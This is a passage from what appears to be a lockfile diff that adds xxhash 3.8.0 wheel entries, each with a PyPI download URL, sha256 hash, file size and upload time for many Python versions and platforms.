"sha256:fe0ee773fd6c211b3b0134ee5d6fd6348411bd7bd79cdb4151d0aaf732179571", size = 236819, upload-time = "2026-06-27T08:12:36.66Z" }, + { url = "https://files.pythonhosted.org/packages/5d/23/d8f80cb1b1acede29ce76a39e013e5782712ab895bbffb32fe2e42b8eadd/xxhash-3.8.0-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:06c74e537f45c2f71010738d4d20741186cac29a035ec5c1c621c723d656c2fd", size = 297860, upload-time = "2026-06-27T08:12:38.103Z" }, + { url = "https://files.pythonhosted.org/packages/34/e9/4fdc697dcff5a73157ee34331e37849ada645448d4e47a38cb8a4044eafd/xxhash-3.8.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:718162a608eb85a22470725f95d63d834b1d7db98a2008b10309cd5a552d91ad", size = 439263, upload-time = "2026-06-27T08:12:39.808Z" }, + { url = "https://files.pythonhosted.org/packages/60/07/41a5144d7fd1c1f2b380de36521f7f34d624eef0374736515087ead7b925/xxhash-3.8.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:934cd5008d86e201818ca4416a4202039ea29edd89047166fea5c49999677bea", size = 213953, upload-time = "2026-06-27T08:12:41.528Z" }, + { url = "https://files.pythonhosted.org/packages/44/e4/7bc12b2fc9f340c446054b6f0e90e5b54c8021a4f9f6b1650054796009e9/xxhash-3.8.0-cp310-cp310-win32.whl", hash = "sha256:1f2c243a385e2c2ce72f5b7d68f3a621cc7d2ee2d0f35e0ca6bf5427ef1922a4", size = 31858, upload-time = "2026-06-27T08:12:43.139Z" }, + { url = "https://files.pythonhosted.org/packages/46/6a/3a61102925bf65ad81827a4586553a357f8a5316a25b938ef435e0bfabf8/xxhash-3.8.0-cp310-cp310-win_amd64.whl", hash = "sha256:cb4996d43a42d825e2aa6f2b6a978b2a7779397b6a28e4fab5eb9505457023e4", size = 32659, upload-time = "2026-06-27T08:12:45.029Z" }, + { url = "https://files.pythonhosted.org/packages/06/c6/39d915926f45f72059519688b538a068efbea0307a294eba1ddb18887c0e/xxhash-3.8.0-cp310-cp310-win_arm64.whl", hash = "sha256:b3a79d694adcfd70d118c73d244eaece7f5f5ab424feb44573bd1d377e1bf0ea", size = 29128, upload-time = "2026-06-27T08:12:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/e3/1b/73aaae7755372ff0cd5788c9955abb64b34d519dd84f2f4f081e2082119b/xxhash-3.8.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08c34553cd7ceb3bfcfca344dc70305a45430429b5d58a67750f2a58364f638f", size = 34641, upload-time = "2026-06-27T08:12:47.579Z" }, + { url = "https://files.pythonhosted.org/packages/53/08/fdb1cb1001ed15b1f74a8eb70457dbdcd6df8375e27e3fe0d0225dbab170/xxhash-3.8.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:842d147983110e5a4f533f98f4f5bc851a08c7ca00aaa30649e8d5f9a6d4e47a", size = 32316, upload-time = "2026-06-27T08:12:48.695Z" }, + { url = "https://files.pythonhosted.org/packages/d7/05/c004e99c4292a9dde76c9157e8e51c73c6db2dd7e4a876712e6a6113e3b0/xxhash-3.8.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:37c9943e18f569f76a8b7d5d01bfe0716f7762c396096ceb42a47eb3d5ecf641", size = 220196, upload-time = "2026-06-27T08:12:49.964Z" }, + { url = "https://files.pythonhosted.org/packages/a0/b2/8696a2008d59c3dc9346b26f7d64f5ec342cacc4051664e3b0201354fe58/xxhash-3.8.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21f6797afdc7abb0ffae059a0d1619c84a5368115bc0abd48f9803ab56a5d35e", size = 240908, upload-time = "2026-06-27T08:12:51.544Z" }, + { url = "https://files.pythonhosted.org/packages/da/ee/2415c55a17f525bcfa38b5b51d69381d6485b1c320eff373b263403b5e6b/xxhash-3.8.0-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5875d99d3540367d43779551dd22c813420b84a103e418d791095b9808fdca57", size = 264445, upload-time = "2026-06-27T08:12:53.08Z" }, + { url = "https://files.pythonhosted.org/packages/23/25/056d30ed2e500d0a993e4589da8cdbe50cbf4809c1b1ac84f6f9559d99ba/xxhash-3.8.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1a54ad5a2a96cdf1ee7a935d38bc63daa6095530095a916f644f1ab76604ced5", size = 241295, upload-time = "2026-06-27T08:12:54.703Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/5d8c9b65ae05725c2ea8f331705e1382fc4817911eb159450aecb2905c6b/xxhash-3.8.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b32e50dd85f0b67b2b95eb59cd3242052f6b27b70e9e73b27629686c592e3ea3", size = 473113, upload-time = "2026-06-27T08:12:56.159Z" }, + { url = "https://files.pythonhosted.org/packages/6f/d4/734dd8e6eaa03b0c4e3044127755221ebf153260a3c5de0382430486fcaf/xxhash-3.8.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e4208fb85c950ddf7118b040bca15179c3bf9b7eb8bebe5e6ef067fc8af16a7", size = 220001, upload-time = "2026-06-27T08:12:57.869Z" }, + { url = "https://files.pythonhosted.org/packages/5b/cc/a0d92359d499db55f83fe6de13188125515319b968bd627b591a0984c454/xxhash-3.8.0-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9f17e09b035f2a0139536da53deb392b62ee259dc2a2189be12b06a7dd50489b", size = 309757, upload-time = "2026-06-27T08:12:59.438Z" }, + { url = "https://files.pythonhosted.org/packages/bc/dd/a20949401cfb9c940ef858d93b41ded90382ff4be0f7e8a5249edd95ff18/xxhash-3.8.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7d6dbb976d6e3b3be51bad16b13de7f4980e6aebd0aa51c5a14dfcc0fedd495e", size = 237596, upload-time = "2026-06-27T08:13:00.992Z" }, + { url = "https://files.pythonhosted.org/packages/99/5d/6963ee0c245a69d9c4a2583da603915f9288f1df23700a0ec705239ef014/xxhash-3.8.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:281897e5c516769694c999f5c50fd1e9acb27acbff187282a8ac77c38b6a9be5", size = 268683, upload-time = "2026-06-27T08:13:02.577Z" }, + { url = "https://files.pythonhosted.org/packages/db/ea/3489cde91ccd91230efbb2351a6d9358e8a63a9954cb8f071fa9c32a2558/xxhash-3.8.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:8fba3d08c246201a1a0a6cece53a0b3b0890fc16adbe1edb245fcfcbf4eb0ce2", size = 224882, upload-time = "2026-06-27T08:13:04.21Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f6/179847064c92a07bba7381e9cd7132c380a17aad31e176a2d6f6e73eed48/xxhash-3.8.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:14ebc1559e8a9a481d0d5506b87678942fcdfa794d4aa55cdd2a0fb175d4245a", size = 239563, upload-time = "2026-06-27T08:13:05.96Z" }, + { url = "https://files.pythonhosted.org/packages/2d/83/dd599670efd161d31fba4149e20694f140ae5707068d38ac480dac1c8cd5/xxhash-3.8.0-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5e7a3e3bbe3a56bff70acc9b72576670e793b0184de3d1b9cda2bf697d17f630", size = 300148, upload-time = "2026-06-27T08:13:07.495Z" }, + { url = "https://files.pythonhosted.org/packages/e8/a8/a474f136610594b464ad813f6badf00b931211a69fc86542c21daf5d2a4d/xxhash-3.8.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9c71e3755a8320d29c351126d550930349be22b44bac1a559caf12ab78b53e9f", size = 442448, upload-time = "2026-06-27T08:13:09.467Z" }, + { url = "https://files.pythonhosted.org/packages/75/86/054032919fc73b72917054cf731be76be3a984e8f53b1d0ba6f22fb9cffc/xxhash-3.8.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:715c611582004e75010517b919776c5dbc00aae03054dc9fd72484a23fd1862f", size = 216755, upload-time = "2026-06-27T08:13:10.902Z" }, + { url = "https://files.pythonhosted.org/packages/3c/16/2eb382a78f12e3fde1c735b57607498c0efe897e8859484d69d9446bba55/xxhash-3.8.0-cp311-cp311-win32.whl", hash = "sha256:41a30a1d0ba978238742a374875c15979e0faed0a65294f3ff4d9410057ee8b6", size = 31851, upload-time = "2026-06-27T08:13:12.281Z" }, + { url = "https://files.pythonhosted.org/packages/dd/53/a07ad4dbdc32118b3bd190f5d54ee2ed28c1a0a994b52ae493435cfb4de7/xxhash-3.8.0-cp311-cp311-win_amd64.whl", hash = "sha256:43705f917b8b817d6994851bf3725b98b4c95e64186404d9a6dbc1acf12fd140", size = 32655, upload-time = "2026-06-27T08:13:13.394Z" }, + { url = "https://files.pythonhosted.org/packages/e1/87/d76bef62a288a1f2441404b33cb757047cf555cd5956b36ed718a38b81e9/xxhash-3.8.0-cp311-cp311-win_arm64.whl", hash = "sha256:35c5d843bb7ac1dfdb125ef4181fe4c2e01c2275856e6b699de89e9eb5c69c8d", size = 29128, upload-time = "2026-06-27T08:13:15.371Z" }, + { url = "https://files.pythonhosted.org/packages/17/2e/4b7c3ab28b7a54ac17eae7e02471c49609d6fc5900856a455feeb847a2a3/xxhash-3.8.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fc4bd14f873cd0b420f6f1ff5b5cd0dbfeb05b044a11bb9345bcbbf9749636e3", size = 34623, upload-time = "2026-06-27T08:13:16.696Z" }, + { url = "https://files.pythonhosted.org/packages/43/e4/09eea3e1bba6a59d64599cb8fba39f2a0872d06e85420eae989a4da61a9d/xxhash-3.8.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:31904979198e913239cb61b49f5b849696aeb3b03340da815d1491ec74dcc602", size = 32318, upload-time = "2026-06-27T08:13:18.036Z" }, + { url = "https://files.pythonhosted.org/packages/01/59/688bbae31e4e2d6d6eb92acbd3837c0e44ff8c7d435e6da922844ff6efda/xxhash-3.8.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7338ad13f2b273a1ef0ea97b2db0a059fdb3a1a29298bfa145937c0e4152d341", size = 220461, upload-time = "2026-06-27T08:13:19.311Z" }, + { url = "https://files.pythonhosted.org/packages/2d/de/71484ce0dab2fa4a475705d1ebc37a17ff02d40e5df6767b3255cc53120e/xxhash-3.8.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:54e80e803cb34c8a1d278b491e543af40a588d288589c3e6becc991d5328b46b", size = 241110, upload-time = "2026-06-27T08:13:20.844Z" }, + { url = "https://files.pythonhosted.org/packages/bf/f9/1ac88f02e7df7898541490260b21f2b7f7bd2b233038a0cbd3a3b1bffdc2/xxhash-3.8.0-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:353953ea18f5c3fbdd13936fb536aacfb47d5bc06eef0919b1a355df61f7cc31", size = 264779, upload-time = "2026-06-27T08:13:22.485Z" }, + { url = "https://files.pythonhosted.org/packages/25/49/7ea1f128d2fe948ed679020f97a0896cdc6c975da5cc69b53a4a9c4a5def/xxhash-3.8.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:d761f983a315630eff18c2fec7360c6b6946f82748026e779336eb8141ef3eba", size = 242609, upload-time = "2026-06-27T08:13:24.277Z" }, + { url = "https://files.pythonhosted.org/packages/a0/da/7d237278dfa1c48722c31010c84a328a317b8885429c8cb6ae4a8fa3e3db/xxhash-3.8.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f3786a9beb9a3b76241cb7db5f5388b460682c12204236389e3221963fc626a6", size = 473472, upload-time = "2026-06-27T08:13:25.877Z" }, + { url = "https://files.pythonhosted.org/packages/9b/5f/980fda82620a07d80026b4df371cbca12fca0fd94d7087c4ec5d898da76f/xxhash-3.8.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a2c94f5a9a775f36cc522fa2a7e8e2cec512e252d2ac056759f753dc68a79ffc", size = 220374, upload-time = "2026-06-27T08:13:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/14/71/efa37bc3e91e1c801972bcef99eab877fcbd17ec10aca16c550ee2951107/xxhash-3.8.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:55ce59f9af37ac861947b43ea3ce7b294b5de77a1234b558d0f07ffad0197624", size = 310220, upload-time = "2026-06-27T08:13:28.804Z" }, + { url = "https://files.pythonhosted.org/packages/9d/48/19e40320044dc7051e8446505f18557d5661853b87a8770ad399325bb3c8/xxhash-3.8.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3afa1422a32c7c8e79ad5121dc21eaa5cee9e9e67bffca3f15d15d220d371908", size = 238100, upload-time = "2026-06-27T08:13:30.378Z" }, + { url = "https://files.pythonhosted.org/packages/d3/0d/588499f4d7cd064864ada7adfb9e8785f88a988f1332ed4c1be73d249c15/xxhash-3.8.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:551fda694938be910529452a89175137c58b4739e41fadff3c047e24b1d74a3b", size = 268937, upload-time = "2026-06-27T08:13:31.867Z" }, + { url = "https://files.pythonhosted.org/packages/54/18/fb2ad593572a33d1b6864b33047b8ca7269273a3c56107b5fd33e0b9c8fb/xxhash-3.8.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:512eb937c9457e6057e230e005c4709dd2ab63a5989f854d69f31db905750a62", size = 224910, upload-time = "2026-06-27T08:13:33.659Z" }, + { url = "https://files.pythonhosted.org/packages/63/9e/b880f9ed61b73492e24bb962d76aeb63f18ccb895f0edfb52e20d45ed6f2/xxhash-3.8.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4931ea93840f750a908efebaf23c71004feacc1a4649ef601b96d400a505c9a9", size = 240742, upload-time = "2026-06-27T08:13:35.237Z" }, + { url = "https://files.pythonhosted.org/packages/3f/89/fc682f93e54e486fc338b26a7d6d0d5cb0ab366269273c2608ac62b51afb/xxhash-3.8.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:2fd4b60e8d9fc3923f39079f185b3425e6d76636fcb66d82a33dd7eba7c30f2f", size = 300527, upload-time = "2026-06-27T08:13:36.997Z" }, + { url = "https://files.pythonhosted.org/packages/80/71/a4b4122afb2d17ad69e0922cfeddb5ad5c25b02f37eed3dd3819d42e5f55/xxhash-3.8.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:1da00075f1605794298878cb587f7533329693e2a0c45bbd25d6353644add675", size = 443195, upload-time = "2026-06-27T08:13:38.719Z" }, + { url = "https://files.pythonhosted.org/packages/d5/e5/ed3930f5dc90f4b1bab5ac3be099e8b2e81c1262d85e4adb5f2758e30d23/xxhash-3.8.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ba73801c87d44fa37b2a5feab3004f0a654506027bf032ceb154d94bb74ea772", size = 217252, upload-time = "2026-06-27T08:13:41.179Z" }, + { url = "https://files.pythonhosted.org/packages/44/ae/128ea5794387ca54bb4084566db20dbdfc9c21cb17b67d3fcb403927b5ba/xxhash-3.8.0-cp312-cp312-win32.whl", hash = "sha256:0b0836dee6022e22ba516ebfa8f76c6e4bda08d6c166c553e40867bac89e4a54", size = 31890, upload-time = "2026-06-27T08:13:42.568Z" }, + { url = "https://files.pythonhosted.org/packages/4f/04/a6c182dc566c88e8d1a497d22cc4ffdcfcc0a9fa80325efa6cd4b9002c54/xxhash-3.8.0-cp312-cp312-win_amd64.whl", hash = "sha256:3bc2a09b98b8f85c75208cd2b2d2aecf40c77ecb2d72f6bf9757db51a98d3499", size = 32677, upload-time = "2026-06-27T08:13:43.705Z" }, + { url = "https://files.pythonhosted.org/packages/93/b5/aeda4e79f962c8d58ec60cb20a5abfe91c9f7d62e626f69f6659bc0bd0c4/xxhash-3.8.0-cp312-cp312-win_arm64.whl", hash = "sha256:208e6a8b93426896d803224e9fabe26f8b9c651e8381a80b1fa31812faa091e3", size = 29155, upload-time = "2026-06-27T08:13:44.903Z" }, + { url = "https://files.pythonhosted.org/packages/ec/1f/96f43c5c7c7c4d44721f8d2e5d74698c667a30283c4b10a7e50a56804ee3/xxhash-3.8.0-cp313-cp313-android_21_arm64_v8a.whl", hash = "sha256:36434c1d1b0a4729df1fa26ab11bffed1ba52666c0beb605c98a995b470cd143", size = 38508, upload-time = "2026-06-27T08:13:46.152Z" }, + { url = "https://files.pythonhosted.org/packages/1c/d9/7d5d6af4876c6481f2e0acb2dda64dd5209574bf7ba1ad4f6af7a1f8d473/xxhash-3.8.0-cp313-cp313-android_21_x86_64.whl", hash = "sha256:a5e6497cefcb2d67f1745c66df9718a99112583af6cc2b70da0312a2eb939f1e", size = 36542, upload-time = "2026-06-27T08:13:47.497Z" }, + { url = "https://files.pythonhosted.org/packages/32/ff/66fed439d78c5a09a1491a85af29bf8923b516530116731a9ac6b14dee2b/xxhash-3.8.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:5b00b82f1be708da9404fefd658cf5cf3be5ee3be2aae4bfe3b874255badd342", size = 31102, upload-time = "2026-06-27T08:13:48.721Z" }, + { url = "https://files.pythonhosted.org/packages/56/b8/9fae0399281095f8aca1f32b21947b3c3c75ad6021b255c5c6e4b11d3866/xxhash-3.8.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:38b0cb0ab7f283413b7cace2bf710d7cf8f702ea82cbc683908691d52028a89b", size = 32096, upload-time = "2026-06-27T08:13:50.138Z" }, + { url = "https://files.pythonhosted.org/packages/61/a4/e53d162c74a8a2950dc063969914387b0680da4c7c20ad17744ec03a3b0a/xxhash-3.8.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:084312171a9798dea85e924b2674f5e1a44933050a1ea1cb1c6b1364e004c66c", size = 34585, upload-time = "2026-06-27T08:13:51.572Z" }, + { url = "https://files.pythonhosted.org/packages/69/f5/e12397e3f2c4917b6572e103a3277cd27cc56330e304bba61d195d7e5224/xxhash-3.8.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6a1a9e845bd3bbc57d9356819e0d198fe23282e0576b398a6282a0f8fdc75aef", size = 34622, upload-time = "2026-06-27T08:13:52.818Z" }, + { url = "https://files.pythonhosted.org/packages/70/80/c053dc51af5c942229689a0e9cb66fdc999bbd840f645e761f5ab73cbb17/xxhash-3.8.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9ffbde09743ebaf8957b8426948fbe85eab5e5de0d29eec407fcff5a2812a3cc", size = 32320, upload-time = "2026-06-27T08:13:54.04Z" }, + { url = "https://files.pythonhosted.org/packages/f8/a3/294171b67dfe770e1293edcf2a3f7e41302cdb8aefb258585312191b3ffe/xxhash-3.8.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:a6dee3952c2b6e82e7f1dbc5dbc6167f9c84126851def7926e32827c2816169c", size = 220532, upload-time = "2026-06-27T08:13:55.448Z" }, + { url = "https://files.pythonhosted.org/packages/80/c3/d141bfdeca785c8c680abf867d4b52a5e64a55d90df242c3141a3e58c4b2/xxhash-3.8.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bf8ff8e12416c9fa05b43c7509b9332d6ffc4090413c4e7a1dee8599763b6d59", size = 241215, upload-time = "2026-06-27T08:13:57.047Z" }, + { url = "https://files.pythonhosted.org/packages/09/5a/aeaf35143a6f3d44db73298e861405bdd9c9dacaedfc369cb43d9fd65282/xxhash-3.8.0-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:cebbb322df4d97d8ef2704f49ed2f6f21f6702fafa0dc0c2a6ae70e904205689", size = 264615, upload-time = "2026-06-27T08:13:58.912Z" }, + { url = "https://files.pythonhosted.org/packages/bf/3e/f8ca782bb34f99693faab70a7989bcc84f62ffe93c9a4cca464a33507a4b/xxhash-3.8.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9a8d08707b4100ebce598fc59fadf04b42d79b855818d6994f8f0fffd1df8edb", size = 242682, upload-time = "2026-06-27T08:14:00.483Z" }, + { url = "https://files.pythonhosted.org/packages/d4/fa/ddbee4ff1542c2e88e72269a5a6bd18c3f26a80c2514e0918f5d1f3e9ec5/xxhash-3.8.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cf5427602dda15d8ce3c6d870d29bf07d43975f59c9d6d3f7f6f93a901b28b12", size = 473551, upload-time = "2026-06-27T08:14:02.17Z" }, + { url = "https://files.pythonhosted.org/packages/25/f5/a680d48dddab37ab2fd9189ca03f775e29e3627122e30790816d7eb365af/xxhash-3.8.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:97d7bd715ea5050b6c9638b52c62adf3055b648ef6eee6892a4cd9697b530191", size = 220485, upload-time = "2026-06-27T08:14:03.765Z" }, + { url = "https://files.pythonhosted.org/packages/22/b1/7ac129b74981c07f1ff9c649f204465e86f83f9f29b2ebdc70d91514c365/xxhash-3.8.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0cd25bbbab37d898f6e5a90905ce6ae2c1f8bd6668c07cef406fb3e8c8c570dd", size = 310307, upload-time = "2026-06-27T08:14:05.366Z" }, + { url = "https://files.pythonhosted.org/packages/67/e6/43e673411249dd63f6cd974523a1b32fad75cf5453e363bc8f44af215fb9/xxhash-3.8.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3e30e5c057f483c3c53a11b53eba091a737cb19dfead36c8b23bf5beb4a169cd", size = 238164, upload-time = "2026-06-27T08:14:07.149Z" }, + { url = "https://files.pythonhosted.org/packages/e5/95/87f8baf41f63130f3637104b7a610f82b20106332fc6e289c8dbf7955d0e/xxhash-3.8.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:07dd44d992ebd456752bc25b1c42cd172d94bd8cb24049300449ad0716081c3a", size = 269062, upload-time = "2026-06-27T08:14:08.834Z" }, + { url = "https://files.pythonhosted.org/packages/38/c9/3369b497cd1f926b930c52fd2400606f177790d887b49f9e86bddcc24562/xxhash-3.8.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3118600a3102d4707dc1c485dbc3acbbbf37819069ad3e7854e77b923745d76b", size = 225007, upload-time = "2026-06-27T08:14:10.689Z" }, + { url = "https://files.pythonhosted.org/packages/34/c8/03dceb86a8128858ac105bd6e282d62b3db6fd421a79bd8a9f6b8cdc47a7/xxhash-3.8.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ed37b0c95d8fb3fbaad5e13cc0a9727eb8739d1d54b2adef28108c250cada3a", size = 240815, upload-time = "2026-06-27T08:14:12.195Z" }, + { url = "https://files.pythonhosted.org/packages/47/a5/ebd43eeb1af1dd8f0201943688b20958e99d3f6eb36481fb8c37b55ef139/xxhash-3.8.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:bb043da412e478e7b1db3407051124b85b133803794d3809ad6d92870b304fc7", size = 300632, upload-time = "2026-06-27T08:14:13.916Z" }, + { url = "https://files.pythonhosted.org/packages/df/24/c873e41a3c00dacc385c8ff08c007723f6a528922c1cea7fd9684e86dae7/xxhash-3.8.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:196fc132683d9311a0bdce8388ee52bfa07fdc1987cc428a27956e47ccd7b50d", size = 443293, upload-time = "2026-06-27T08:14:15.446Z" }, + { url = "https://files.pythonhosted.org/packages/4f/1b/c671272fe28f70574e3c574d58465f26460154bcc68876121872afa1c14d/xxhash-3.8.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfb5411af3b77c75e99db100aa15c5ba623c85d72c565e4d7a0ed1a986ff766e", size = 217327, upload-time = "2026-06-27T08:14:17.28Z" }, + { url = "https://files.pythonhosted.org/packages/57/43/b45a52f795812cb769b6ac159e69b605d18b1c067749e63dcac159e90064/xxhash-3.8.0-cp313-cp313-win32.whl", hash = "sha256:6d1d6179e26830c6690fac63f76d372f69714b977e12ca9c42188a60f51c59f5", size = 31898, upload-time = "2026-06-27T08:14:18.952Z" }, + { url = "https://files.pythonhosted.org/packages/a1/42/2bd70e4eec25dc5990652979d708d4d7c999793d7d5af5d0e48ab4374dc1/xxhash-3.8.0-cp313-cp313-win_amd64.whl", hash = "sha256:7c92427a56a12f4d5c7bb26dbb9e9a4658c313ecb6c2f1dca349902e3822df07", size = 32680, upload-time = "2026-06-27T08:14:20.277Z" }, + { url = "https://files.pythonhosted.org/packages/d5/c8/2fe61edb6144183cf094035a8c5354c65a073127acf6379655ed1e705b70/xxhash-3.8.0-cp313-cp313-win_arm64.whl", hash = "sha256:9fc8453642c1c6d38b4fbac8901c2452ce1fa88b27f003bfee6703cbfae9bd63", size = 29157, upload-time = "2026-06-27T08:14:21.674Z" }, + { url = "https://files.pythonhosted.org/packages/b9/b8/81d17a993b9a4750ba426ce966421681bb4b8e82a460cd346756491b8cc2/xxhash-3.8.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:efcacb644a915f010dc477447b045e5dcde1afaa40d16b2f0f8e7cd99c9e1635", size = 34897, upload-time = "2026-06-27T08:14:23.044Z" }, + { url = "https://files.pythonhosted.org/packages/bb/3b/f5a368e3273440b3ea58fbd3f0b08c19f552b25ca59f43f5732ca96d2126/xxhash-3.8.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:d1e0dbc510cff94c5efbcc2b82c28b41519fad09b5b1f9f3d99c63e3940e49a0", size = 32630, upload-time = "2026-06-27T08:14:24.603Z" }, + { url = "https://files.pythonhosted.org/packages/a6/ab/f424359c91c55f564fbbe4e454a126eb522471109f67376f20ad19c5e663/xxhash-3.8.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ff19d016a41c90d1f519005887191896b6da1274e1d5d48b347e17eb798ffc5a", size = 225874, upload-time = "2026-06-27T08:14:25.992Z" }, + { url = "https://files.pythonhosted.org/packages/ac/c2/434579ef9235123b6c9bfa89c5614e0001e988613b91557b24aa326d9faa/xxhash-3.8.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aafc3eab99c50508852e34307e9565933bf128cad084cac7d2471b7ab1743de0", size = 249705, upload-time = "2026-06-27T08:14:27.607Z" }, + { url = "https://files.pythonhosted.org/packages/c0/6c/3c0c917331ca3c71f826cedce2127f230624e2b49b992472dd5e9e72101c/xxhash-3.8.0-cp313-cp313t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5e521368ed79ae6c4d31e1e417726643c49d7d6e286f4fdabf9a8330ed8a8ff7", size = 274716, upload-time = "2026-06-27T08:14:29.495Z" }, + { url = "https://files.pythonhosted.org/packages/c1/f3/a8bb98d3307c67e88be9642dff52854c3de3f488f95989b60ff69c8dcc42/xxhash-3.8.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6a0127688d116ec0c225e7e1f744e3f206de2b8822ffeb31a9ab5cc6384f92c5", size = 252019, upload-time = "2026-06-27T08:14:31.247Z" }, + { url = "https://files.pythonhosted.org/packages/f7/73/fab69a2e5b6353dde643209fe9b6adf4fbd64c888e531deffc476bfb2635/xxhash-3.8.0-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:22c0b17da2f9fea0f8836538512249871b359141616bad44c58d238b5f011f40", size = 482024, upload-time = "2026-06-27T08:14:32.973Z" }, + { url = "https://files.pythonhosted.org/packages/a3/5b/ba34099b5278097ec9c68c0b740719813553bfd11ca17e7353de6d2a41e3/xxhash-3.8.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3d49465646b1a5e3b1729c5f636e05676a2fb52e203e3b22a5411c416c4c5302", size = 226655, upload-time = "2026-06-27T08:14:34.608Z" }, + { url = "https://files.pythonhosted.org/packages/76/0c/90aba4708a37fe752b324a7cbf10058eaa33e892cdd62751ff17a5137b93/xxhash-3.8.0-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c2853dea1e30ed00ca87dd87d76da5da063d302b823b3fb80ccd18421de0f251", size = 319583, upload-time = "2026-06-27T08:14:36.419Z" }, + { url = "https://files.pythonhosted.org/packages/38/46/42e349e2d3017b2688f4cb301742c37c438e77963e3fef711edce2fc5c65/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:82f0102a2a3760287b7cd7f9e0a30edd4c3b18762ed1a242208d43c8e2bcf30b", size = 246000, upload-time = "2026-06-27T08:14:38.104Z" }, + { url = 